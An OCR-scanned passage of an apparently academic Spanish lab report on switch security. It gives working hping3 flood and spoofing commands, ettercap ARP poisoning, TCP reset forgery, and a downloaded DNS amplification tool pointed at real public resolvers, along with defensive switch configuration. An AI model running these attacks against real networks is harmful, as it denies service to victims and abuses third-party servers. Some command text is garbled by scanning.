(config)# dhcp-snooping
(config)# dhcp-snooping vlan 30
2° [Consola conmutador] Se activa arp-protect y se aplica en la VLAN:
(config)# arp-protect
(config)# arp-protect vlan 30
¢ Finalmente, se fijan los campos de los equipos en la VLAN 30, es decir, ‘C’ y ‘A’:
(config)# ip source-binding 30 10.10.30.6 48:5b:39:ee:7c:0b 6
(config)# ip source-binding 30 10.10.30.9 48:5b:39:cc:a7:12 9

Figura 3-19. Entradas IP Source Lockdown de la tabla DHCP Snooping
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3° [Consola conmutador] Se indica al conmutador que muestre por pantalla los paquetes que han sido rechazados
mediante arp-protect:

(config)# debug security arp-protect
(config)# debug destination session
4° [Consola conmutador] Para que el conmutador pueda enviar los traps SNMP:
e Se activa el modulo snmp-server y se indica la direccion a la que debe enviar los mensajes:
(config)# snmp-server enable
(config)# snmp-server host 10.10.24.24 community public trap-level all
e Seactiva el envio de traps para cuando descarte alglin paquete con la tabla DHCP Snooping:
(config)# snmp-server enable traps arp-protect
5° [Equipo ‘G’, usuario “root”] Se inicia la aplicacion snmptrapd para recibir y registrar los traps:
e Se modifica el fichero de configuracion para que contenga las siguientes lineas:

/etc/snmp/snmptrapd.conf

[..]
authCommunity log public

disableAuthorization yes

e Se lanza la aplicacion con los parametros pertinentes para que registre los mensajes recibidos en un
fichero:

snmptrapd -A -d -n -Lf /var/log/snmptrapd.log

e Opcionalmente, en una consola aparte se puede ejecutar el siguiente comando para leer los ultimos traps
recogidos en el fichero .log. Se recomienda maximizar la ventana o reducir el numero “del argumento
-n” para adaptarse al tamafio de la consola:

watch tail -n 25 /var/log/snmptrapd.log
3.3.24  \Verificacion de la defensa

Tras repetir el ataque, ademas de comprobarse como ya no tiene éxito, se muestran por pantalla los registros
debug del bloqueo de arp-protect. Cada vez que por el puerto 6 y VLAN 30 llega un mensaje ARP que no
cumple con lo establecido en la tabla DHCP Snooping, se impide su propagacion.

06.27 DARP mIpPkt :Deny ARP Reply 485b3 e7cOb,10.10.30.9 port ¢
:06.89 DARP mIpPktRecv:Deny ARP Reply 485b39-ee7cOb,10.10.30.9 port

99 DARP mIpPktRecv:Deny ARP Reply 485 -ee/cBb,10.10.30.1 port

.91 DARP mIpPktRecv:Deny ARP Reply 48 -ee/cOb,10.10

Figura 3-20. Mensajes ARP bloqueados por el modulo arp-protect
1° [Consola conmutador] Una vez finalizado, se detiene la impresion de los mensajes debug:
(config)# no debug all

2° [Consola conmutador]| Se comprueba los mensajes ARP bloqueados por arp-protect etiquetados como Bad
bindings indicado por:

# show arp-protect statistics 30
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ARP Protection

ARPs forwarded : 14
Bad bindings /
Malformed

Figura 3-21. Estadisticas del modulo arp-protect

3° [Equipo ‘G’, usuario ‘root’] Se comprueba en la consola donde se muestra la informacion del fichero .log
coémo ha aparecido un nuevo trap:

Received 174 byte packet [10.10.24.1]1:161->[10.10.24.24]:162

0000: 30 81 AB 062 01 00 2 6C 69 63 A4 81 0 public..

16: 9D 06 » 01 04 0] 3 81 / et .@
04 : : ] > : 43 3 0C
30 i y ' T 5 0

39 30 3 ...j1I 01/01/90 O

20 6! 2:21:05 00911 ar

6E 79 p-protect: Deny

62 33 39 ARP Reply 485b39

2E 33 3 -ee7cbb,10.10.30

20 L1, p

6C 61 6 33 30 ort 6, vlan 30

2024-01-29 12:17:09 10.10.24.1(via UDP: [10.10.24.1]1:161->[10.10.24.24]:162) TRAP, SNMP v1, communit
public

11.129 Enterprise Specific Trap (2) Uptime: 2:20:52.67
STRING: I 01/01/90 02:21:05 00911 arp-protect: Deny ARP Repl

SNMPv2-SMI: :enterprises.11.2.
9'

3.7.
RMON-MIB: :eventDescription.911 =
y 485b39-ee7c0b,10.10.30.1

port 6, vlan 30

Figura 3-22. Trap por bloqueo de mensaje ARP con arp-protect

3.4 Ataques sobre protocolos de capa transporte

Nivel Herramientas de ataque
; ?
AT victima/defensa dlesncs utilizadas
. Si
Inundacion SS.(’N con L4/L2 hping3
suplantacion Nuevo ataque
. Si :
Reflexion SYN-ACK L4/L2 hping3
Nuevo ataque
Si
LAND L4/L2 Adaptacion de ataque hping3
[16]
: Si :
Reseteo de conexion L4/1.2 netwox, nping, ettercap
Nuevo ataque
Prediccion de secuencia L4/12 No* hping3
Si )
Fraggle L4/L2 hping3
Nuevo ataque

Tabla 3-5. Ataques realizados sobre protocolos de capa transporte
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* Prediccion de secuencia: este ataque es dependiente del sistema operativo atacado como se recoge en su
apartado teorico (0). Los sistemas Linux no son vulnerables a los ataques de prediccion de secuencia, por lo que
se ha optado por el uso de la maquina virtual Windows XP empleada en el laboratorio de telematica de la escuela.
Sin embargo, el resultado obtenido no ha sido satisfactorio. En el Anexo C se documentan los pasos seguidos y
el resultado obtenido frente al esperado.

3.41 Inundacion SYN con suplantacion

La inundacion SYN ya se ha llevado a cabo en el ataque 3.2.1 para mostrar un ataque unidireccional
aprovechando el salto de VLAN. No obstante, en este apartado se propone un script para llevarlo a cabo y se
detallan los efectos del ataque en el servidor.

3.41.1 Preparacion del escenario

Para este ataque se sigue el esquema de red genérico de la Figura 3-1 siguiendo los pasos detallados en el
apartado 3.1.1. Adicionalmente:
1° [Equipo °S’, usuario “root”’] Se arranca el servidor web Apache con la pagina por defecto:

service httpd start

3.4.1.2  Objetivo del ataque: DoS del servidor ‘S’

Es habitual suplantar la IP de otro equipo al ejecutar un ataque de denegacion de servicio para evitar que la
maquina atacante entre en una lista negra. Adicionalmente, se puede variar constantemente la direccion IP y la
direccion MAC para que, en caso de que se bloquee la direccion suplantada, no pueda bloquearlas todas (de
hacerlo, puede ser que no sea capaz de dar servicio a ninguna maquina dentro de la LAN).

1° [Equipo ‘A’, usuario “root”] Con un editor de texto, se crea un script para el ataque:

/root/inundacion.sh

#! /bin/bash
for i in {2..20}
do

ip_addr="10.10.1.${i}”

arping -c 1 -q -S $ip_addr 10.10.1.2

timeout ©.5 hping3 -S -q -p 80 --flood -a $ip_addr 10.10.1.2

done

e De esta forma, se realiza un ataque de inundacion SYN iterando desde la direccion 10.10.1.2 hasta la
10.10.1.20.

2° [Equipo ‘A’, usuario “root”] Se otorgan permisos de ejecucion al fichero y se ejecuta el script:
chmod 755 ./inundacion.sh
./inundacion.sh

3° [Equipo ‘C’, usuario “dit”’] Se accede al contenido del servidor web alojado en ‘S’ mediante curl. Precedido
por el comando time, se puede observar el tiempo de respuesta después del ataque:

time curl http://10.10.1.2

Reiterando el comando anterior, se ha podido comprobar empiricamente la diferencia del tiempo de respuesta
antes y después del ataque.

74



Seguridad en conmutadores de red y puntos de acceso. Clasificacion y realizacion practica de ataques 75

Tiempo minimo (s)

Tiempo maximo (s)

Tiempo mas frecuente

(s)
Sin inundacion SYN 0’012 0’016 0’012
Con inundacion SYN 0’016 3’265 0’255

Tabla 3-6. Comparacion de tiempos de respuesta sin y con inundacién SYN

Lo mas frecuente ha sido un tiempo de respuesta aproximadamente 20 veces mas lento que en el escenario
normal. En el peor caso registrado, la demora aumenta un orden de magnitud, hasta 200 veces el maximo tiempo
de respuesta sin el ataque.

3.41.3 Fortificacion

La fortificacion de este ataque sigue los mismos pasos que el apartado 3.3.1.3.

3.41.4 \Verificacion de la defensa

La verificacion de esta defensa se realiza de la misma forma que en el apartado 3.3.1.4.
3.4.2 Reflexion SYN-ACK

3.421 Preparacion del escenario

Para este ataque se sigue el esquema de red genérico de la Figura 3-1 siguiendo los pasos detallados en el
apartado 3.1.1. Adicionalmente:
1° [Equipo ‘S’, usuario “root”] Se arranca el servidor web Apache con la pagina por defecto:

service httpd start

3.4.2.2 Objetivo del ataque: DoS del cliente ‘C’

1° [Equipo ‘A’, usuario “root”] Se envian masivamente segmentos TCP con el bit SYN activado y con la
direccion IP de ‘C’:

hping3 -S -p 80 -a 10.10.1.9 --flood 10.10.1.2
2° [Equipo ‘C’, usuario “root”] Se comprueba con wireshark la llegada masiva de los mensajes:

wireshark &

Se recomienda capturar y parar rapidamente la captura para evitar que la maquina se congele al procesar los
mensajes. El equipo del cliente, hasta que la ejecucion no es cancelada por el atacante, recibe de forma constante
mensajes SYN-ACK para terminar el andshake. Como no es una conexion esperada ni deseada, el equipo ‘C’
procesa y responde con un segmento RST a cada SYN-ACK recibido.
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223 360.4284599!10.10.1.2 16.10.1.9 TCP 60 http = 32779 [S5YN, ACK] Seq=0 Ack=1 Win=29200
60.4284913710. 1.9 1.2 Seq=1l Win=0 Len=0

225 360.5285203.10.10.1.2 160.10.1.9 TCP 68 http = 32780 [SYN, ACK] Seq=0 Ack=1 Win=292080
60.5285299!10. 1.9 ollo& Seq=1 Win=0 Len=0

227 360.6285722{10.10.1.2 16.10.1.9 TCP 60 http > 32781 [SYN, ACK] Seg=0 Ack=1 Win=29200
60.6285812°10.160.1.9 ollo? > Seg=1 Win=0 Len=0

229 360.7286062!10.10.1.2 10.18.1.9 TCP 68 http > 32782 [5YN, ACK] Seq=0 Ack=1 Win=29200
60.7286146°10. 1.9 1.2 Seq=1 Win=0 Len=0

231 360.8286709.10.10.1.2 16.10.1.9 TCP 60 http = 32783 [S5YN, ACK] Seq=0 Ack=1 Win=29200
.8286795(10. 1.9 1.2 Seq=1l Win=0 Len=0

233 360.9287214110.10.1.2 16.19.1.9 TCP 68 http = 32784 [SYN, ACK] Segq=0 Ack=1 Win=29280
60.9287501:10. 1.9 1.2 32784 = http Seq=1 Win=0 Len=0

Figura 3-23. Segmentos compartidos entre ‘C’ y ‘S’ en un ataque de reflexion SYN-ACK

3.4.2.3 Fortificacion

La fortificacion de este ataque sigue los mismos pasos que el apartado 3.3.1.3.

3.4.24 \Verificacion de la defensa

La verificacion de esta defensa se realiza de la misma forma que en el apartado 3.3.1.4.

3.43 LAND

3.43.1 Preparacion del escenario

Para este ataque se sigue el esquema de red genérico de la Figura 3-1 siguiendo los pasos detallados en el
apartado 3.1.1. A diferencia del escenario genérico, en el cliente ‘C’ en lugar de utilizar el sistema operativo
habitual (CentOS7) se ha optado por utilizar una maquina virtual con un SO vulnerable empleado en el
departamento: Windows XP.

1° [Equipo ‘C’, usuario “Administrador’’] Para poder configurar la direccion IP del equipo, se accede la consola
de comandos presionando la tecla Windows + ‘R’ e introduciendo “cmd” en la ventana “Ejecutar’:

e Una vez se abre la cmd, para poder cambiar la direccion IP del equipo se ejecuta:

netsh

o Dentro de netsh, para poder cambiar la IP del adaptador Ethernet “Conexion de area local”, se introduce:
interface ipv4

set address “Conexidén de area local” static 10.10.1.9 255.255.255.0

e No es necesario cerrar la cmd, ya que es necesario para el siguiente paso.

2° [Equipo ‘S’, usuario “Administrador”’] Por defecto, el cortafuegos de Windows esta habilitado. Para poder
continuar, es necesario deshabilitarlo. Para hacerlo desde la cmd abierta en el paso anterior:

e Seintroduce la siguiente linea para cambiar a la configuracion del cortafuegos:

firewall

e Dentro del submenu firewall, para deshabilitar el cortafuegos se ejecuta:

set opmode mode=disable profile=all
3.4.3.2  Objetivo del ataque: DoS del cliente ‘C’

1° [Equipo “A’, usuario “root”’] Se envian masivamente segmentos TCP con el bit SYN activado desde el puerto
139 hacia el puerto 139 y con la direccion IP de ‘C’:

hping3 -S -k -s 139 -p 139 -a 10.10.1.9 --flood 10.10.1.9

Se puede comprobar cémo el equipo ‘C’ queda completamente bloqueado hasta el cese de la inundacion por
parte del atacante. Esto se puede observar desde el Administrador de tareas, que muestra picos de hasta el 100%
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del consumo de la CPU, consiguiendo una denegacion del servicio absoluta.

Uso de CPU Historial de uso de CPU

Figura 3-24. Picos de 100% de consumo de la CPU en el equipo cliente

3.4.3.3 Fortificacion

La fortificacion de este ataque sigue los mismos pasos que el apartado 3.3.1.3.

3.4.3.4 \Verificacion de la defensa

La verificacion de esta defensa se realiza de la misma forma que en el apartado 3.3.1.4.
3.4.4 Reseteo de conexion

3.44.1 Preparacion del escenario

Para este ataque se sigue el esquema de red genérico de la Figura 3-1 siguiendo los pasos detallados en el
apartado 3.1.1.

3.44.2 Objetivo del ataque: DoS del cliente ‘C’
Para llevar a cabo el ataque, es necesario que el atacante se interponga en la comunicacion entre ‘C’ y ‘S’ para
poder interrumpir la conexion.

1° [Equipo ‘A’, usuario “root”’] Se envenenan las tablas ARP de ‘C’ y “S’ para que el atacante sea el nexo de la
comunicacion:

ettercap -T /10.10.1.2// /10.10.1.9// -M arp
2° [Equipo ‘C’, usuario “dit”] El cliente se conecta a ‘S’ remotamente mediante SSH:
ssh dit@le.10.1.2

3°[Equipo ‘A’, usuario “root”] En otra consola, una vez el cliente ha establecido la conexion se prepara el reseteo
de esta:

netwox 78 --device ethl --filter “dst host 10.10.1.2 and dst port 22”
4° [Equipo ‘C’, usuario “dit”] Dentro de la consola donde SSH se esta ejecutando, se pulsa cualquier tecla.

Inmediatamente después de hacer el paso 4, se comprueba como la conexion se cierra inesperadamente. Si se
intenta abrir una nueva conexion, esta se resetea inmediatamente. Esto se debe a que el atacante, que esta
monitorizando el trafico con netwox y sigue envenenando las tablas ARP con ettercap, envia a ‘C’ un segmento
TCP con la bandera RST activada. La conexion TCP es reiniciada, y la sesion SSH se cierra como consecuencia.

dit@lt29-C-L1 ~]% apacket_write wait: Connection to 10.10.1.2 port 22: Broken pipe
root@lt205-C-L1 ~] # ssh dit@le.10.1.2
sh_exchange identification: read: Connection reset by peer

root@lt205-C-L1 ~] # ssh dit@l0.16.1.2
sh _exchange identification: read: Connection reset by peer

Figura 3-25. Conexion SSH reseteada
3.44.2.1 Ataque alternativo con nping

Es posible cerrar de forma manual una conexion inactiva. La herramienta nerwox solo actia cuando recibe un
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mensaje que coincide con el filtro establecido. Si el cliente deja de interactuar con la maquina ‘S’ sin cerrar la
conexion SSH, es posible resetear la conexion utilizando nping.

1° [Equipo ‘A’, usuario “root”] Se envenenan las tablas ARP de ‘C’ y ‘S’ para que el atacante sea el nexo de la
comunicacion:

ettercap -T /10.10.1.2// /10.10.1.9// -M arp

2° [Equipo ‘A’, usuario “dit”] Se abre wireshark para poder inspeccionar los segmentos TCP entre cliente y
servidor:

wireshark &

e Se comprueba que wireshark muestre los campos “SEQ” y “ACK” de forma no relativa. Accediendo
al menu Edicion > Preferencias > Protocols > TCP > Desmarcar “Relative sequence numbers”. Esto es
necesario para poder forjar correctamente el paquete.

3°[Equipo ‘C’, usuario “dit”] El cliente se conecta a ‘S’ remotamente mediante SSH:
ssh dit@le.10.1.2
4° [Equipo ‘A’, usuario “root”’] En otra consola, se prepara el segmento:

nping --tcp --source-mac 48:5b:39:cc:a7:12 --dest-mac 48:5b:39:ef:22:2d --source-ip
10.10.1.9 --dest-ip 10.10.1.2 --source-port XXX --dest-port 22 --flags RST,ACK --seq
YYY --ack ZZzZ

o Losvalores XXX, YYY y ZZZ se extraen del ultimo paquete que wireshark ha capturado
2889 1876.9665619.. 16.10.1.9 10.10.1.2  SSH 162 Client: Encrypted packet (1en 36)

2891 1876.9724334..

Frame 2894: 66 bytes on wire 2¢ its) ured (528 bits) on interfac
EthPI et II Sl: ASUSTPkC 5 i 27 ), Dst: ASUSTekC_ ef:22:2d (48:5

Transmlsslon Control Protocol Src Port: 46433 Dst Port 22, Seq: 458831782, Ack: 1018121225, Len:

Figura 3-26. Campos de interés para el reseteo de conexion TCP con nping
5° [Equipo ‘C’, usuario “dit”’] Dentro de la consola donde SSH se esta ejecutando, se pulsa cualquier tecla.

El resultado del ataque es idéntico al ilustrado por la Figura 3-25. A diferencia del ataque con netwox, la conexion
se rompe antes de realizar el paso nimero 5, solo que es en este momento donde aparece el mensaje por pantalla
de que la conexidn se ha roto.

3.4.4.3 Fortificacion
La fortificacion de este ataque sigue los mismos pasos que el apartado 3.3.2.3.
3.44.4 \Verificacion de la defensa

La verificacion de esta defensa se realiza de la misma forma que en el apartado 3.3.2.4.

3.4.5 Fraggle

3.451 Preparacion del escenario

Para este ataque se sigue el esquema de red genérico de la Figura 3-1 siguiendo los pasos detallados en el
apartado 3.1.1. Adicionalmente:

1° [Equipo ‘S’, usuario “root”’] CHARGEN esta gestionado por el superservidor xinetd, el cual, por defecto, lo
tiene deshabilitado. Para habilitarlo:
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e Se accede al fichero que gestiona el servicio CHARGEN por UDP e indicamos que no se deshabilite:

/etc/xinetd.d/chargen-dgram

[.]

service chargen

{

#This is for quick on or off of the service

disable = no

[.]

e  Se activa xinetd con los cambios realizados. Si ya estuviera iniciado, se reincia con restart:
service xinetd start
2° [Equipo ‘C’, usuario “root”] Se inicia wireshark para poder observar el trafico:

wireshark &

3°[Equipo ‘C’, usuario “root”] Se envia un ping sobre UDP al puerto estandar de CHARGEN, es decir, el puerto
19:

hping3 --udp -p 19 10.10.1.2

Tras unos segundos, se comprueba como surge la comunicacion entre ‘C’y ‘S’ a través del puerto 19. La demora
se debe al tiempo que xinetd tarda en iniciar el servicio CHARGEN, que permanece inactivo hasta la llegada de
una peticion.

11 9.435826867 10.10.1.9 10.10.1.2 upp 42 Source port: mpnjsc Destination port: chargen

12 10.43587651:10.10.1.9 10.108.1.2 uppP 42 Source port: rapidbase Destination port: chargen

13 11.43592297(10.10.1.9 10.10.1.2 upp 42 Source port: abr-api Destination port: chargen

14 12.43596959.10.10.1.9 10.10.1.2 uppP 42 Source port: abr-secure Destination port: chargen

16 13.43601883:10.10.1.9 10.10.1.2 upp 42 Source port: vrtl-wmf-ds Destination port: chargen

18 14.43606936/10.10.1.9 10.108.1.2 uppP 42 Source port: unix-status Destination port: chargen

20 15.43612065¢10.10.1.9 10.10.1.2 upp 42 Source port: dxadmind Destination port: chargen

23 16.43629468 10.10.1.9 10.10.1.2 uppP 42 Source port: simp-all Destinatien port: chargen

24 17.43621975:10.10.1.9 10.10.1.2 upp 42 Source port: nasmanager Destination port: chargen
.43665808(10.10.1.2 1.9 Source port: chargen Destination port: nasmanager

Frame 25: 1066 bytes on wire (8528 bits), 1066 bytes captured (8528 bits) on interface @
Ethernet II, Src: AsustekC_ee:7c:0b (48:5b:39:ee:7c:0b), Dst: AsustekC_cc:a7:12 (48:5b:39:cc:a7:12)
Internet Protocel Version 4, Src: 18.18.1.2 (19.10.1.2), Dst: 108.108.1.9 (10.10.1.9)
User Datagram Protocol, Src Port: chargen (19), Dst Port: nasmanager (1960)
Data (1024 bytes)
Data: 2a2b2c2d2e2f303132333435363738393a3b3c3d3e3f4041. ..

4 vy v v v

[Length: 1024]

8020
0030
8840
80850
0060
8070
80880
8090
80820
80bo
88ch
eede
00e0 ] 2 5 9 5 c : VWXYZ [\ ]
oefe . 2 B: 9 c _"abcde fghijklm
o108 o o o s

8118
8128

Figura 3-27. Peticiones al puerto CHARGEN y contenido de la respuesta

Tal y como se muestra en la Figura 3-27, CHARGEN responde con una cadena estandarizada de caracteres. Se
puede comprobar la diferencia de tamafio entre peticion y respuesta, siendo la primera de 42 octetos y la segunda
de 1066.
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3.4.5.2 Objetivo del ataque: DoS del servidor ‘S’

Al estar CHARGEN gestionado por xinefd y no de manera autéonoma, es dificil generar una cantidad de trafico
suficiente como para desbordar a la victima. Esto se debe a que el superservidor incorpora un mecanismo anti
DoS por defecto, el cual limita el nimero de conexiones por segundo. Sin embargo, esto puede resultar en contra
del servidor y del cliente al bloquear accesos legitimos.

1° [Equipo ‘A’, usuario “root”] Se envian masivamente solicitudes al puerto CHARGEN del servidor con la
direccion [P de ‘C’:

hping3 --udp -p 19 --flood -a 10.10.1.9 10.10.1.2
2° [Equipo ‘C’, usuario “root”] Se comprueba con wireshark la llegada masiva de los mensajes:

wireshark &

Se observa como tras aproximadamente 560 datagramas el cliente deja de recibirlos.

3° [Equipo ‘S’, usuario “root”’] Se comprueba que el servicio chargen-dgram ha sido bloqueado. Para leer el
registro completo, se emplea systemct! en lugar de service:

systemctl status -1 xinetd.service

@ xinetd.service - SYSV: xinetd 1s a powerful replacement for inetd. xinetd has access control mechanisms, ensive logging
apabilities, the ability to make services available based on time, and can place limits on the number of servers that can be
tarted, among other
vaded: 1 ] / finit. netd; bad; vendor preset: enabled]
d 2024-01-24 17:50:45 CET; 2min 425 ago

inetd stop (code
xinetd start (code=

3]1: START: chargen-dgram pi from=::

START: rgen-dgram pl from=

START: rgen-dgram p1 from=

START: rgen-dgram pi1 from=

START: chargen-dgram pi from=::

START: rgen-dgram p1 from=

START: g gre 1 from=:: .

1 from=:: .18.1.9
ive incoming connections. Restarting

.es xinetd[3973]: FAIL: chargen-dgram connections per second from=::ffff:10.10.1.9
Figura 3-28. xinetd bloqueando el servicio CHARGEN
4° [Equipo ‘C’, usuario “root”] Se intenta acceder al servicio CHARGEN:
hping3 --udp -p 19 10.10.1.2

Abhora, el servidor tinicamente envia mensajes ICMP de puerto no alcanzable a causa de las propias peticiones
del cliente, seguido de un aluvion intermitente de respuestas a causa de la inundacion del atacante. Es posible
comprobar que las respuestas no se corresponden con las peticiones de ‘C’ al tener todas el numero de secuencia
a‘0.

360 45.84862396:10.10.1.2 10.16.1.9 upp 1066 Source port: chargen Destination port: glebal-cd-port
361 45.84863043!10.10.1.2 10.10.1.9 upP 1066 Source port: chargen Destination port: vidigo

362 45.84863379:10.10.1.2 10.10.1.9 UDP 1066 Source port: chargen Destination port: timelot

363 45.84882688.10.10.1.2 10.10.1.9 upp 1066 Source port: chargen Destination port: hicp

364 45.84883320{19.10.1.2 10.16.1.9 upp 1066 Source port: chargen Destination port: iscsi-target
365 45.84903217:10.10.1.2 10.10.1.9 uDP 1066 Source port: chargen Destination port: altav-tunnel
366 45.84903817710.10.1.2 10.10.1.9 UDP 1066 Source port: chargen Destination port: verismart

367 45.84923709:10.10.1.2 10.10.1.9 UDP 1066 Source port: chargen Destination port: user-manager
368 45.84924319:19.10.1.2 10.16.1.9 upp 1066 Source port: chargen Destination port: ordinox-server
369 45.84924673:10.10.1.2 10.10.1.9 uDP 1066 Source port: chargen Destination port: dyniplookup
370 45.84944174:10.10.1.2 10.10.1.9 UDP 1066 Source port: chargen Destination port: cytel-lm

371 45.84944801(10.16.1.2 10.10.1.9 upp 1066 Source port: chargen Destination port: pdrncs

372 45.84964634:10.10.1.2 10.10.1.9 uppP 1066 Source port: chargen Destination port: cdid

373 45.84965237¢19.10.1.2 10.16.1.9 upp 1066 Source port: chargen Destination port: vsaiport

Figura 3-29. Llegada masiva de respuestas CHARGEN

80



Seguridad en conmutadores de red y puntos de acceso. Clasificacion y realizacion practica de ataques 81

3453 Fortificacion

La fortificacion de este ataque sigue los mismos pasos que el apartado 3.3.1.3.

3.4.5.4 \Verificacion de la defensa

La verificacion de esta defensa se realiza de la misma forma que en el apartado 3.3.1.4.

3.5 Ataques sobre protocolos de capa aplicacion

Nivel Herramientas de ataque
; ?
e victima/defensa dlezraiol utilizadas
Amplificacion / Reflexi6 S
ificacion / Reflexion
P DNS L7/L2 Adaptacion de ataque dnsdrdos
[16]
S ) Si
ecuestro
Redireccionamiento DNS L2 Adaptac1(Er61]de ataque cttercap
; Si
Envenenamle’nto dela L712 ettercap
caché Nuevo ataque
Tunelizacion DNS L7/L3 Si* dnscat2
DHCP Flooding / >
ooding ) .
Starvation L7/L2 Adaptacion de ataque DHCPig
[6]
Si**
DHCPig/yersinia, servidor
DHCP Spoofing L7/L2 AdaptaE:Gij')t[llcée] ataque DHCP

Tabla 3-7. Ataques realizados sobre el protocolo DNS

* Tunelizacion DNS: La defensa de este ataque es posible mediante el uso de ACLs (Access Control Lists), pero
no se corresponden a una funcionalidad de capa de enlace. Los ataques recogidos en este capitulo son defendidos
exclusivamente con funcionalidades de capa L2, ya que se corresponde con el objetivo del proyecto. No
obstante, este ataque y una posible fortificacion se muestran en el capitulo 5, ya que se emplea de forma
complementaria para demostrar un ataque compuesto.

** DHCP Spoofing: este ataque se encuentra detallado en el apartado 5.2.1.1, donde se emplea para llevar a cabo
el ataque de Tunelizacion DNS mencionado previamente. Asimismo, las fortificaciones propuestas se
contemplan en el apartado 5.3.1 y 5.3.2.
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3.51 Amplificacién/Reflexion DNS

3.51.1 Preparacion del escenario

@ 10.10.1.1/24

10.10.1.9/24 10.1.0.6/24
eth1: 48:5b:39:cc:a7:12 eth0: 48:5b:39:ee:7c:0b

10.10.24.24/24
eth0: 48:5b:39:ee:f6:2a

Figura 3-30. Escenario ataque amplificacion/reflexion DNS

Se realizan las siguientes operaciones:
1° [Usuario “root”] Se configuran las tarjetas de red correspondientes acorde al esquema, es decir:

e [Equipo ‘C’]

ip a flush dev ethe

ip a add 10.10.1.9/24 dev ethe

ip 1 set ethe up

ip a 1s dev ethe

ip r add 0.0.0.0/0 via 10.10.1.1

e [Equipo ‘A’]

ip a flush dev ethl

ip a add 10.10.1.6/24 dev ethl

ip 1 set ethl up

ip a 1ls dev ethl

ip r add 0.0.0.0/0 via 10.10.1.1

e [Equipo ‘G’]

ip a flush dev ethe
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ip a add 10.10.24.24/24 dev ethe
ip 1 set eth® up
ip a 1s dev etho
2° [Consola conmutador] Se reserva la VLAN 24 y su correspondiente puerto para la gestion del conmutador:
(config)# vlan 24 name gestion
(config)# management-vlan 24
(config)# vlan 24 ip address 10.10.24.1/24
(config)# vlan 24 untagged 24

3.5.1.2 Objetivo del ataque: DoS del cliente ‘C’

Existen multitud de scripts en plataformas como Github que pueden llevar a cabo esta tarea; en concreto, para
este escenario se va a utilizar el script dnsdrdos.

1° [Equipo ‘A’, usuario “root”] Se descarga y prepara el script:
e Se obtiene el codigo fuente directamente desde Github:

wget https://raw.githubusercontent.com/rodarima/lsi/master/p2/dnsdrdos.c

e Se compila el script:

gcc -W -Wall -ansi dnsdrdos.c -o dnsdrdos

e Se crea una lista con solucionadores de nombres piblicos recursivos' para ejecutar el ataque:

/root/lista.txt

8.8.8.8
8.8.4.4
1.1.1.1
l.0.0.1
208.67.222.222
208.67.220.220
208.67.222.220
208.67.220.222
77.88.8.8
77.88.8.1
62.76.76.62
62.76.62.76
195.208.4.1
195.208.5.1
9.9.9.9
9.9.9.10

134.195.4.2

e Seejecuta el script pasando como argumentos la lista y la direccion IP de la victima ‘C’. Si no se indica
un nombre a resolver, por defecto escoge google.com:

14 Estas direcciones se pueden obtener buscando listas de servidores por internet (por ejemplo, [108]), o bien, de una forma mas exhaustiva,
buscando en [109] y comprobando si son recursivos con [110].
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./dnsdrdos -f lista.txt -s 10.10.1.9 -1 10000
2° [Equipo ‘C’, usuario “root”] Se comprueba con wireshark la llegada masiva de los mensajes:
wireshark &

Se recomienda capturar y parar rapidamente la captura para evitar que la maquina se congele al procesar los
mensajes™.

2204 604.3909488.195.208.4.1 18.10.1.9 DNS 166 Standard query response 0xdf2d A 74.125.205.113 A 74.125.285.182 A 74.125.205.
2205 604.3989523162.76.62.76 18.18.1.9 DNS 166 Standard query response @xdf2zd A 209.85.233.182 A 209.85.233.138 A 209.85.233,
2206 604.3989555:195.208.4.1 18.19.1.9 DNS 166 Standard query response 6xdf2d A 64.233.164.139 A 64.233.164.113 A 64.233.164.
2207 604.3909587¢195.208.4.1 18.18.1.9 DNS 166 Standard gquery response Oxdf2d A 64.233.164.139 A 64.233.164.113 A 64.233.164,
2208 604.3909620:195.208.4.1 16.19.1.9 DNS 166 Standard gquery respense Oxdf2d A 173.194.222.139 A 173.194,222.138 A 173.194.:
2209 604.3989652:195.208.4.1 18.18.1.9 DNS 166 Standard query response @xdf2d A 64.233.164.139 A 64.233.164.113 A 64.233.164.
2210 604.3909683.62.76.62.76 18.18.1.9 DNS 166 Standard query response @xdf2d A 209.85.233.102 A 209.85.233.138 A 209.85.233,
2211 604.3909712762.76.62.76 18.10.1.9 DNS 166 Standard guery response oxdf2d A 209.85.233.182 A 209.85.233.138 A 209.85.233,
2212 604.3933094:195.208.4.1 18.18.1.9 DNS 166 Standard gquery respense Oxdf2d A 173.194.222.139 A 173.194,222.138 A 173.194.:
2213 604.3968089:62.76.62.76 18.18.1.9 DNS 166 Standard query response @xdf2zd A 209.85.233.182 A 209.85.233.138 A 209.85.233,
2214 604.3996846:195.208.4.1 18.18.1.9 DNS 166 Standard query response Bxdf2d A 74.125.205.113 A 74.125.205.1082 A 74.125.205.
2215 604.4034330(62.76.62.76 18.19.1.9 DNS 166 Standard gquery response Gxdf2d A 209.85.233.182 A 209.85.233.138 A 209.85.233,
2216 604.4036375¢195.208.4.1 18.18.1.9 DNS 166 Standard guery respense Oxdf2d A 74.125,205.113 A 74.125.205.102 A 74.125.205,
2217 604.4036438(195.208.4.1 18.18.1.9 DNS 166 Standard query response @xdf2zd A 173.194.222.139 A 173.194.222.138 A 173.194.:
2218 604.4050592(62.76.62.76 18.18.1.9 DNS 166 Standard query response Bxdf2d A 209.85.233.182 A 209.85.233.138 A 209.85.233,
2219 604.4069351.195.208.4.1 18.19.1.9 DNS 166 Standard guery response Gxdf2d A 64.233.164.139 A 64.233.164.113 A 64.233.164,
2220 604.4100468:195.208.4.1 18.18.1.9 DNS 86 Standard query response Oxdf2d A 142.250.74.78

2221 604.4102547.62.76.62.76 18.10.1.9 DNS 166 Standard guery response 0xdf2d A 209.85.233.182 A 209.85.233.138 A 209.85.233.

Figura 3-31. Llegada masiva de respuestas DNS

3.5.1.3 Fortificacion

La fortificacion de este ataque sigue los mismos pasos que el apartado 3.3.1.3.

3.5.1.4 \Verificacion de la defensa

La verificacion de esta defensa se realiza de la misma forma que en el apartado 3.3.1.4.

15 Al depender de una conexion a Internet, la potencia del ataque contra ‘C’ aumenta con conexiones rapidas. En el entorno de pruebas de
este proyecto, el caudal entre los equipos y el punto de acceso no supera los 24Mb/s.
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3.5.2 Secuestro/Redireccionamiento DNS

3.5.21 Preparacion del escenario

10.10.1.4/24
eth0: 48:5b:39:ee:f6:2a

=l

10.10.1.9/24 10.10.1.2/24
ethl: 48:5b:39:cc:a7:12 eth0: 48:5b:39:ef:22:2d

SESIELVNG.

10.10.1.6/24
eth0: 48:5b:39:ee:7c:0b

Figura 3-32. Escenario ataque secuestro/redireccionamiento DN'S

